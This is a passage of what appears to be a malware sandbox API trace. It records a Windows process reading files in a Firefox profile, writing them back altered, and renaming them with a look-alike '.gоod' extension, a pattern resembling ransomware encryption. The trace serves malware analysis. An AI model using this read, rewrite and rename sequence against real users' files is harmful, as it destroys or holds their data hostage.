nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\directoryLinks.json", lpFilePart=0x0) returned 0x5b [0209.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec500) returned 1 [0209.206] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\directoryLinks.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\directorylinks.json"), fInfoLevelId=0x0, lpFileInformation=0x35fb848 | out: lpFileInformation=0x35fb848*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x301f956, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x301f956, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3025b1b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x942)) returned 1 [0209.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec4c0) returned 1 [0209.207] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\directoryLinks.json", nBufferLength=0x105, lpBuffer=0x1fbebe90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\directoryLinks.json", lpFilePart=0x0) returned 0x5b [0209.207] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec3b0) returned 1 [0209.207] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\directoryLinks.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\directorylinks.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0209.208] GetFileType (hFile=0x820) returned 0x1 [0209.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec320) returned 1 [0209.208] GetFileType (hFile=0x820) returned 0x1 [0209.208] GetFileSize (in: hFile=0x820, lpFileSizeHigh=0x1fbec558 | out: lpFileSizeHigh=0x1fbec558*=0x0) returned 0x942 [0209.208] ReadFile (in: hFile=0x820, lpBuffer=0x35fc498, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbec488, lpOverlapped=0x0 | out: lpBuffer=0x35fc498*, lpNumberOfBytesRead=0x1fbec488*=0x942, lpOverlapped=0x0) returned 1 [0209.209] CloseHandle (hObject=0x820) returned 1 [0209.234] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\directoryLinks.json", nBufferLength=0x105, lpBuffer=0x1fbebe90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\directoryLinks.json", lpFilePart=0x0) returned 0x5b [0209.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec3b0) returned 1 [0209.235] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\directoryLinks.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\directorylinks.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0209.235] GetFileType (hFile=0x820) returned 0x1 [0209.235] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec320) returned 1 [0209.236] GetFileType (hFile=0x820) returned 0x1 [0209.236] WriteFile (in: hFile=0x820, lpBuffer=0x3677860*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x1fbec398, lpOverlapped=0x0 | out: lpBuffer=0x3677860*, lpNumberOfBytesWritten=0x1fbec398*=0x950, lpOverlapped=0x0) returned 1 [0209.236] CloseHandle (hObject=0x820) returned 1 [0209.236] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\directoryLinks.json", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\directoryLinks.json", lpFilePart=0x0) returned 0x5b [0209.236] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\directoryLinks.json.gоod", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\directoryLinks.json.gоod", lpFilePart=0x0) returned 0x60 [0209.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec4c0) returned 1 [0209.415] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\directoryLinks.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\directorylinks.json"), fInfoLevelId=0x0, lpFileInformation=0x1fbec5a0 | out: lpFileInformation=0x1fbec5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x301f956, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x301f956, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x78ec5cfd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x950)) returned 1 [0209.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec480) returned 1 [0209.714] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\directoryLinks.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\directorylinks.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\directoryLinks.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\directorylinks.json.gоod")) returned 1 [0210.149] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\_CACHE_CLEAN_", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\_CACHE_CLEAN_", lpFilePart=0x0) returned 0x55 [0210.175] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec500) returned 1 [0210.175] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\_CACHE_CLEAN_" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\_cache_clean_"), fInfoLevelId=0x0, lpFileInformation=0x37474b8 | out: lpFileInformation=0x37474b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x481f73e1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1)) returned 1 [0210.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec4c0) returned 1 [0210.176] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\_CACHE_CLEAN_", nBufferLength=0x105, lpBuffer=0x1fbebe90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\_CACHE_CLEAN_", lpFilePart=0x0) returned 0x55 [0210.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec3b0) returned 1 [0210.176] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\_CACHE_CLEAN_" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\_cache_clean_"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0210.176] GetFileType (hFile=0x834) returned 0x1 [0210.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec320) returned 1 [0210.176] GetFileType (hFile=0x834) returned 0x1 [0210.176] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x1fbec558 | out: lpFileSizeHigh=0x1fbec558*=0x0) returned 0x1 [0210.176] ReadFile (in: hFile=0x834, lpBuffer=0x37a7ce8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbec488, lpOverlapped=0x0 | out: lpBuffer=0x37a7ce8*, lpNumberOfBytesRead=0x1fbec488*=0x1, lpOverlapped=0x0) returned 1 [0210.177] CloseHandle (hObject=0x834) returned 1 [0210.401] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\_CACHE_CLEAN_", nBufferLength=0x105, lpBuffer=0x1fbebe90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\_CACHE_CLEAN_", lpFilePart=0x0) returned 0x55 [0210.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec3b0) returned 1 [0210.401] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\_CACHE_CLEAN_" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\_cache_clean_"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0210.402] GetFileType (hFile=0x478) returned 0x1 [0210.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec320) returned 1 [0210.402] GetFileType (hFile=0x478) returned 0x1 [0210.402] WriteFile (in: hFile=0x478, lpBuffer=0x354d800*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbec398, lpOverlapped=0x0 | out: lpBuffer=0x354d800*, lpNumberOfBytesWritten=0x1fbec398*=0x10, lpOverlapped=0x0) returned 1 [0210.403] CloseHandle (hObject=0x478) returned 1 [0210.403] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\_CACHE_CLEAN_", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\_CACHE_CLEAN_", lpFilePart=0x0) returned 0x55 [0210.403] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\_CACHE_CLEAN_.gоod", nBufferLength=0x105, lpBuffer=0x1fbec030, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\_CACHE_CLEAN_.gоod", lpFilePart=0x0) returned 0x5a [0210.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbec4c0) returned 1 [0210.403] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\_CACHE_CLEAN_" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\_cache_clean_"), fInfoLevelId=0x0, lpFileInformation=0x1fbec5a0 | out: lpFileInformation=0x1fbec5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcae9ac, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xfcae9ac, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x799f4f89, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0210.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbec480) returned 1 [0210.403] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\_CACHE_CLEAN_" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\_cache_clean_"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\_CACHE_CLEAN_.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\_cache_clean_.gоod")) returned 1 [0210.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebd20) returned 1 [0210.404] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2", nBufferLength=0x105, lpBuffer=0x1fbeb7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2", lpFilePart=0x0) returned 0x4e [0210.405] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\*", lpFindFileData=0x1fbeba40 | out: lpFindFileData=0x1fbeba40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3462ae18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb817acca, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec860a0 [0210.405] FindNextFileW (in: hFindFile=0x1ec860a0, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3462ae18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb817acca, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.405] FindNextFileW (in: hFindFile=0x1ec860a0, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3db5cbc4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x40a99643, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="doomed", cAlternateFileName="")) returned 1 [0210.405] FindNextFileW (in: hFindFile=0x1ec860a0, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3d6e450e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa90c92ac, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="entries", cAlternateFileName="")) returned 1 [0210.405] FindNextFileW (in: hFindFile=0x1ec860a0, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34629a8b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x34629a8b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb817acca, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3584, dwReserved0=0x0, dwReserved1=0x0, cFileName="index", cAlternateFileName="")) returned 1 [0210.405] FindNextFileW (in: hFindFile=0x1ec860a0, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb817acca, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb817acca, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb817acca, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.log", cAlternateFileName="")) returned 1 [0210.406] FindNextFileW (in: hFindFile=0x1ec860a0, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0210.406] FindClose (in: hFindFile=0x1ec860a0 | out: hFindFile=0x1ec860a0) returned 1 [0210.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc60) returned 1 [0210.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc20) returned 1 [0210.406] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebd20) returned 1 [0210.406] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2", nBufferLength=0x105, lpBuffer=0x1fbeb7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2", lpFilePart=0x0) returned 0x4e [0210.406] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\*", lpFindFileData=0x1fbeba40 | out: lpFindFileData=0x1fbeba40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3462ae18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb817acca, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec86880 [0210.406] FindNextFileW (in: hFindFile=0x1ec86880, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3462ae18, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb817acca, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0210.406] FindNextFileW (in: hFindFile=0x1ec86880, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3db5cbc4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x40a99643, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="doomed", cAlternateFileName="")) returned 1 [0210.406] FindNextFileW (in: hFindFile=0x1ec86880, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd890271, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3d6e450e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa90c92ac, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="entries", cAlternateFileName="")) returned 1 [0210.406] FindNextFileW (in: hFindFile=0x1ec86880, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34629a8b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x34629a8b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb817acca, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3584, dwReserved0=0x0, dwReserved1=0x0, cFileName="index", cAlternateFileName="")) returned 1 [0210.407] FindNextFileW (in: hFindFile=0x1ec86880, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb817acca, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb817acca, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb817acca, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.log", cAlternateFileName="")) returned 1 [0210.407] FindNextFileW (in: hFindFile=0x1ec86880, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb817acca, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb817acca, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb817acca, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.log", cAlternateFileName="")) returned 0 [0210.407] FindClose (in: hFindFile=0x1ec86880 | out: hFindFile=0x1ec86880) returned 1 [0210.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc60) returned 1 [0210.407] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc20) returned 1 [0210.407] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index", lpFilePart=0x0) returned 0x54 [0210.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0210.407] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\index"), fInfoLevelId=0x0, lpFileInformation=0x355db28 | out: lpFileInformation=0x355db28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34629a8b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x34629a8b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb817acca, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3584)) returned 1 [0210.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0210.618] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index", lpFilePart=0x0) returned 0x54 [0210.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0210.618] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0210.618] GetFileType (hFile=0x478) returned 0x1 [0210.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0210.618] GetFileType (hFile=0x478) returned 0x1 [0210.619] SetFilePointer (in: hFile=0x478, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0210.619] ReadFile (in: hFile=0x478, lpBuffer=0x35dc320, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x35dc320*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0210.620] CloseHandle (hObject=0x478) returned 1 [0210.620] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index", lpFilePart=0x0) returned 0x54 [0210.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0210.620] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0210.621] GetFileType (hFile=0x478) returned 0x1 [0210.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0210.621] GetFileType (hFile=0x478) returned 0x1 [0210.621] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x3584 [0210.621] WriteFile (in: hFile=0x478, lpBuffer=0x35de6f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x35de6f8*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0210.622] CloseHandle 